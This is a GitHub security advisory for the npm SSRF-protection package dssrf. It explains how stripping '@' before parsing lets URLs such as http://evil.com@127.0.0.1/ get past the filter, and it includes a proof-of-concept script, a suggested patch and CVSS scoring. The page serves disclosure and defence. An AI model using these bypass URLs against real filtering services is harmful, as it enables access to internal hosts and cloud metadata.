Skip to content

dssrf has an SSRF bypass with remove_at_symbol_in_string

High severity GitHub Reviewed Published Jun 9, 2026 in HackingRepo/dssrf-js • Updated Jul 30, 2026

Package

npm dssrf (npm)

Affected versions

<= 1.0.3

Patched versions

1.0.4

Description

Summary

is_url_safe in v1.0.3 contains an SSRF bypass. remove_at_symbol_in_string is applied to the raw URL string before new URL() parses it. This strips the @ that separates userinfo from host, corrupting the hostname so internal IPs are never checked.

Vulnerability

In helpers.ts, is_url_safe does:

u = remove_at_symbol_in_string(u);   // strips ALL '@' from the raw string
// ...
const parsed = new URL(u);
const hostname = parsed.hostname;    // resolved from the corrupted string

What happens step by step

Input: http://evil.com@127.0.0.1/

  1. remove_at_symbol_in_stringhttp://evil.com127.0.0.1/
  2. new URL(...)hostname = "evil.com127.0.0.1"
  3. Not a bare IP, not IPv6 → passes all IP checks
  4. is_hostname_resolve_to_internal_ip("evil.com127.0.0.1") → NXDOMAIN → returns false
  5. Result: true (safe) — but any HTTP client using the original URL connects to 127.0.0.1

Proof of Concept

import nock from 'nock';
import { got } from 'got';
import { is_url_safe } from 'dssrf';

// Simulate an internal server at 10.0.0.1 that returns secret data
nock('http://10.0.0.1:80').persist().get('/').reply(200, 'SECRET_DATA');

const BYPASS_URL = 'http://2@10.0.0.1/';
const PLAIN_URL  = 'http://10.0.0.1/';

// dssrf should block both — it only blocks the plain one
console.log('--- dssrf validator ---');
console.log(`is_url_safe('${PLAIN_URL}')   =`, await is_url_safe(PLAIN_URL),  '← correctly blocked');
console.log(`is_url_safe('${BYPASS_URL}') =`, await is_url_safe(BYPASS_URL), '← ⚠️  BYPASSED (should be false)');

// HTTP client with the bypass URL — gets SECRET_DATA back from 10.0.0.1
console.log('\n--- HTTP client ---');
try {
  const res = await got(BYPASS_URL, { retry: { limit: 0 } });
  console.log(`got('${BYPASS_URL}') response:`, res.body, '← ⚠️  VULNERABLE');
} catch (e) {
  console.log(`got('${BYPASS_URL}') blocked:`, e.message);
}

Root Cause

@ in a URL separates userinfo (credentials) from host. Stripping it from the raw string before parsing destroys that boundary. The fix is to reject any URL that contains a userinfo component after parsing.

Suggested Fix

Remove the remove_at_symbol_in_string call from is_url_safe and add a userinfo check after new URL():

const parsed = new URL(u);

// Reject userinfo — '@' in authority is a classic SSRF bypass vector
if (parsed.username !== "" || parsed.password !== "") {
  return false;
}

A working patch verified against 15 vectors (all internal IPv4 ranges, IMDS, IPv6 via userinfo, and legitimate public URLs) is ready to submit as a PR.

Impact

  • Affected version: 1.0.3 (latest)
  • Bypasses: all internal IPv4 ranges, IPv6 loopback/ULA/link-local, AWS IMDS (169.254.169.254), any internal hostname via userinfo prefix
  • Note: The GHSA-8p33-q827-ghj5 advisory patched version (1.0.3) should be updated since this vector was not covered by that fix

Users are strongly advised to upgrade to dssrf 1.0.4

References

@HackingRepo HackingRepo published to HackingRepo/dssrf-js Jun 9, 2026
Published to the GitHub Advisory Database Jul 30, 2026
Reviewed Jul 30, 2026
Published by the National Vulnerability Database Jul 30, 2026
Last updated Jul 30, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements None
Privileges Required None
User interaction None
Vulnerable System Impact Metrics
Confidentiality None
Integrity High
Availability None
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(26th percentile)

Weaknesses

Improper Neutralization of Equivalent Special Elements

The product correctly neutralizes certain special elements, but it improperly neutralizes equivalent special elements. Learn more on MITRE.

CVE ID

CVE-2026-54722

GHSA ID

GHSA-cg4g-m8jx-vjv2

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.